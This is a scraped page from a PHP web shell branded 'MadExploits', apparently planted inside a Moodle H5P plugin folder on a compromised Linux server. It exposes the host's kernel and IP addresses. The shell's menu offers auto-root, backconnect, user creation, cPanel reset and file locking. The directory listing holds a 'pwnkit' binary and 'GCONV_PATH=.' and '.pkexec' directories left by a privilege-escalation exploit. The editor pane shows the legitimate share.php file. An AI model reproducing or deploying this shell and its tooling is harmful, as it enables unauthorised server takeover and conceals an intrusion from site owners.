Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.214
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.eslintrc
5.77
KB
-rw-r--r--
.gitignore
49
B
-rw-r--r--
.gitmodules
323
B
-rw-r--r--
.jshintrc
163
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.travis.yml
4.8
KB
-rw-r--r--
LICENSE
17.62
KB
-rw-r--r--
README.md
2.39
KB
-rw-r--r--
ajax.php
16.43
KB
-rw-r--r--
autoloader.php
3.68
KB
-rw-r--r--
content_hub_registration.php
2.03
KB
-rw-r--r--
dataviews.js
1.31
KB
-rw-r--r--
editor.js
1.25
KB
-rw-r--r--
embed.php
3.53
KB
-rw-r--r--
grade.php
5
KB
-rw-r--r--
index.php
4.25
KB
-rw-r--r--
lib.php
16.49
KB
-rw-r--r--
library_list.php
5.1
KB
-rw-r--r--
locallib.php
25.48
KB
-rw-r--r--
mod_form.php
18.76
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
3.1
KB
-rw-r--r--
review.php
6.74
KB
-rw-r--r--
settings-hide-key.js
1018
B
-rw-r--r--
settings.php
7.2
KB
-rw-r--r--
share.php
5.63
KB
-rw-r--r--
styles.css
2.18
KB
-rw-r--r--
thirdpartylibs.xml
542
B
-rw-r--r--
upgrade_content_page.php
4.95
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
view.css
1.74
KB
-rw-r--r--
view.php
3.37
KB
-rw-r--r--
xapi-collector.js
5.67
KB
-rw-r--r--
xapi-custom-report.css
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : share.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Share H5P Content on the Hub * * @package mod_hvp * @copyright 2020 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once("../../config.php"); require_once("locallib.php"); global $PAGE, $DB, $CFG, $OUTPUT; $id = required_param('id', PARAM_INT); // Verify course context. $cm = get_coursemodule_from_id('hvp', $id); if (!$cm) { print_error('invalidcoursemodule'); } $course = $DB->get_record('course', array('id' => $cm->course)); if (!$course) { print_error('coursemisconf'); } require_course_login($course, true, $cm); $context = context_module::instance($cm->id); require_capability('mod/hvp:share', $context); // Check if Hub registered, if not redirect to hub registration. if (empty(get_config('mod_hvp', 'site_uuid')) || empty(get_config('mod_hvp', 'hub_secret'))) { if (!has_capability('mod/hvp:contenthubregistration', \context_system::instance())) { print_error('nohubregistration'); } redirect(new moodle_url('/mod/hvp/content_hub_registration.php')); } // Try to load existing content from the Hub. $core = \mod_hvp\framework::instance(); $content = $core->loadContent($cm->instance); $action = optional_param('action', '', PARAM_TEXT); if ($action) { // Prepare to do a Hub Action. if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); } $token = required_param('_token', PARAM_RAW); if (!\H5PCore::validToken('share_' . $id, $token)) { print_error('invalidtoken'); } if (empty($content['contentHubId']) || $content['shared'] !== '1') { print_error('contentnotshared'); } $core = \mod_hvp\framework::instance(); if ($action === 'sync') { // Sync content already shared on the Hub. $exporturl = hvp_create_hub_export_url($cm->id, $content); if ($core->hubSyncContent($content['contentHubId'], $exporturl)) { $core->h5pF->updateContentFields($content['id'], array('synced' => \H5PContentHubSyncStatus::WAITING)); } } else if ($action === 'unpublish') { // Unpublish content already shared on the Hub. if ($core->hubUnpublishContent($content['contentHubId'])) { $core->h5pF->updateContentFields($content['id'], array('shared' => 0)); } } redirect(new moodle_url('/mod/hvp/view.php', ['id' => $id])); exit; } $hubcontent = !empty($content['contentHubId']) ? $core->hubRetrieveContent($content['contentHubId']) : null; if (empty($content['contentHubId'])) { // Try to populate with license from content. $license = !empty($content['metadata']['license']) ? $content['metadata']['license'] : null; $licenseversion = !empty($license) && !empty($content['metadata']['licenseVersion']) ? $content['metadata']['licenseVersion'] : null; $showcopyrightwarning = false; if ($license === 'U') { $license = null; } if ($license === 'C') { $license = null; $showcopyrightwarning = true; } $hubcontent = [ 'license' => $license, 'licenseVersion' => $licenseversion, 'showCopyrightWarning' => $showcopyrightwarning, ]; } // Prepare settings for the UI. $locale = \mod_hvp\framework::get_language(); $settings = [ 'token' => \H5PCore::createToken('share_' . $id), 'publishURL' => (new \moodle_url('/mod/hvp/ajax.php', array('action' => 'share', 'id' => $id)))->out(false), 'returnURL' => (new \moodle_url('/mod/hvp/view.php', array('id' => $id)))->out(false), 'l10n' => $core->getLocalization(), 'metadata' => json_decode($core->getUpdatedContentHubMetadataCache($locale)), 'title' => html_entity_decode($cm->name, ENT_QUOTES), 'contentType' => "{$content['library']['name']} {$content['library']['majorVersion']}.{$content['library']['minorVersion']}", 'language' => $locale, 'hubContent' => $hubcontent, 'context' => empty($content['shared']) ? 'share' : 'edit', ]; // Configure page. $PAGE->set_url(new \moodle_url('/mod/hvp/share.php', array('id' => $id))); $PAGE->set_title(format_string($cm->name)); $PAGE->set_heading($course->fullname); // Load JavaScript and styles. $PAGE->requires->js(new \moodle_url(\mod_hvp\view_assets::getsiteroot() . '/mod/hvp/library/js/h5p-hub-sharing.js'), true); foreach (\H5PCore::$styles as $style) { $PAGE->requires->css(new \moodle_url(\mod_hvp\view_assets::getsiteroot() . "/mod/hvp/library/{$style}")); } $PAGE->requires->css(new \moodle_url(\mod_hvp\view_assets::getsiteroot() . '/mod/hvp/library/styles/h5p-hub-sharing.css')); // Print page HTML. echo $OUTPUT->header(); echo $OUTPUT->heading(format_string($cm->name)); ?> <div id="h5p-hub-share"> <div class="loading-screen"> <?php echo get_string('javascriptloading', 'hvp'); ?> </div> </div> <script> H5PHub.createSharingUI(document.getElementById('h5p-hub-share'), <?php echo json_encode($settings); ?>); </script> <?php echo $OUTPUT->footer();
Close